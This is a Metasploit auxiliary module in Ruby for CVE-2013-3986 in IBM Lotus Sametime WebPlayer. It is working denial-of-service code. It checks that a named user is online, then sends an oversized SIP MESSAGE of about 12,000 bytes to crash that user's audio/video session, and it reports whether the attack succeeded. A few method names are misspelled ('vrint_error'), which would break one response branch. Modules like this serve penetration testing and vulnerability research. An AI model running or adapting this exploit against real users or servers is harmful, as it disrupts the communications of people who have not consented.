##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(update_info(info,
      'Name'       => 'IBM Lotus Sametime WebPlayer DoS',
      'Description'  => %q{
        This module exploits a known flaw in the IBM Lotus Sametime WebPlayer
        version 8.5.2.1392 (and prior) to cause a denial of service condition
        against specific users. For this module to function the target user
        must be actively logged into the IBM Lotus Sametime server and have
        the Sametime Audio Visual browser plug-in (WebPlayer) loaded as a
        browser extension. The user should have the WebPlayer plug-in active
        (i.e. be in a Sametime Audio/Video meeting for this DoS to work correctly.
      },
      'Author'     =>
        [
          'Chris John Riley', # Vulnerability discovery
          'kicks4kittens' # Metasploit module
        ],
      'License'    => MSF_LICENSE,
      'Actions'    =>
        [
          ['DOS',
            {
              'Description' => 'Cause a Denial Of Service condition against a connected user'
            }
          ],
          ['CHECK',
            {
              'Description' => 'Checking if targeted user is online'
            }
          ]
        ],
      'DefaultAction'  => 'DOS',
      'References'   =>
        [
          [ 'CVE', '2013-3986' ],
          [ 'OSVDB', '99552' ],
          [ 'BID', '63611'],
          [ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21654041' ],
          [ 'URL', 'http://xforce.iss.net/xforce/xfdb/84969' ]
        ],
      'DisclosureDate' => '2013-11-07'))

    register_options(
      [
        Opt::RPORT(5060),
        OptAddress.new('RHOST', [true, 'The Sametime Media Server']),
        OptString.new('SIPURI', [
          true,
          'The SIP URI of the user to be targeted',
          '<target_email_address>@<sametime_media_server_FQDN>'
        ]),
        OptInt.new('TIMEOUT', [ true,  'Set specific response timeout', 0])
      ])

  end

  def setup
    # cleanup SIP target to ensure it's in the correct format to use
    @sipuri = datastore['SIPURI']
    if @sipuri[0, 4].downcase == "sip:"
      # remove sip: if present in string
      @sipuri = @sipuri[4, @sipuri.length]
    end
    if @sipuri[0, 12].downcase == "webavclient-"
      # remove WebAVClient- if present in string
      @sipuri = @sipuri[12, @sipuri.length]
    end
  end

  def run
    # inform user of action currently selected
    print_status("Action: #{action.name} selected")

    # CHECK action
    if action.name == 'CHECK'
      print_status("Checking if user #{@sipuri} is online")
      if check_user
        print_good("User online")
      else
        print_status("User offline")
      end
      return
    end

    # DOS action
    print_status("Checking if user #{@sipuri} is online")
    check_result = check_user

    if check_result == false
      print_error("User is already offline... Exiting...")
      return
    end

    # only proceed if action is DOS the target user is
    # online or the CHECKUSER option has been disabled
    print_status("Targeting user: #{@sipuri}...")
    dos_result = dos_user

    if dos_result
      print_good("User is offline, DoS was successful")
    else
      print_error("User is still online")
    end

  end

  def dos_user
    length = 12000 # enough to overflow the end of allocated memory
    msg = create_message(length)
    res = send_msg(msg)

    if res.nil?
      vprint_good("User #{@sipuri} is no responding")
      return true
    elsif res =~ /430 Flow Failed/i
      vprint_good("DoS packet successful. Response received (430 Flow Failed)")
      vprint_good("User #{@sipuri} is no longer responding")
      return true
    elsif res =~ /404 Not Found/i
      vprint_error("DoS packet appears successful. Response received (404 Not Found)")
      vprint_status("User appears to be currently offline or not in a Sametime video session")
      return true
    elsif res =~ /200 OK/i
      vrint_error("#{peer} - DoS packet unsuccessful. Response received (200)")
      vrint_status("#{peer} - Check user is running an effected version of IBM Lotus Sametime WebPlayer")
      return false
    else
      vprint_status("Unexpected response")
      return true
    end
  end

  # used to check the user is logged into Sametime and after DoS to check success
  def check_user
    length = Rex::Text.rand_text_numeric(2) # just enough to check response
    msg = create_message(length)
    res = send_msg(msg)

    # check response for current user status - common return codes
    if res.nil?
      vprint_error("No response")
      return false
    elsif res =~ /430 Flow Failed/i
      vprint_good("User #{@sipuri} is no longer responding (already DoS'd?)")
      return false
    elsif res =~ /404 Not Found/i
      vprint_error("User #{@sipuri} is currently offline or not in a Sametime video session")
      return false
    elsif res =~ /200 OK/i
      vprint_good("User #{@sipuri} is online")
      return true
    else
      vprint_error("Unknown server response")
      return false
    end
  end

  def create_message(length)
    # create SIP MESSAGE of specified length
    vprint_status("Creating SIP MESSAGE packet #{length} bytes long")

    source_user = Rex::Text.rand_text_alphanumeric(rand(8)+1)
    source_host = Rex::Socket.source_address(datastore['RHOST'])
    src = "#{source_host}:#{datastore['RPORT']}"
    cseq = Rex::Text.rand_text_numeric(3)
    message_text = Rex::Text.rand_text_alphanumeric(length.to_i)
    branch = Rex::Text.rand_text_alphanumeric(7)

    # setup SIP message in the correct format expected by the server
    data =  "MESSAGE sip:WebAVClient-#{@sipuri} SIP/2.0" + "\r\n"
    data << "Via: SIP/2.0/TCP #{src};branch=#{branch}.#{"%.8x" % rand(0x100000000)};rport;alias" + "\r\n"
    data << "Max-Forwards: 80\r\n"
    data << "To: sip:WebAVClient-#{@sipuri}" + "\r\n"
    data << "From: sip:#{source_user}@#{src};tag=70c00e8c" + "\r\n"
    data << "Call-ID: #{rand(0x100000000)}@#{source_host}" + "\r\n"
    data << "CSeq: #{cseq} MESSAGE" + "\r\n"
    data << "Content-Type: text/plain;charset=utf-8" + "\r\n"
    data << "User-Agent: #{source_user}\r\n"
    data << "Content-Length: #{message_text.length}" + "\r\n\r\n"
    data << message_text

    return data
  end

  def timing_get_once(s, length)
    if datastore['TIMEOUT'] and datastore['TIMEOUT'] > 0
      return s.get_once(length, datastore['TIMEOUT'])
    else
      return s.get_once(length)
    end
  end

  def send_msg(msg)
    begin
      s = connect
      # send message and store response
      s.put(msg + "\r\n\r\n") rescue nil
      # read response
      res = timing_get_once(s, 25)
      if res == "\r\n"
        # retry request
        res = timing_get_once(s, 25)
      end
      return res
    rescue ::Rex::ConnectionRefused
      print_status("Unable to connect")
      return nil
    rescue ::Errno::ECONNRESET
      print_good("DoS packet successful, host not responding.")
      return nil
    rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      print_status("Couldn't connect")
      return nil
    ensure
      # disconnect socket if still open
      disconnect if s
    end
  end
end
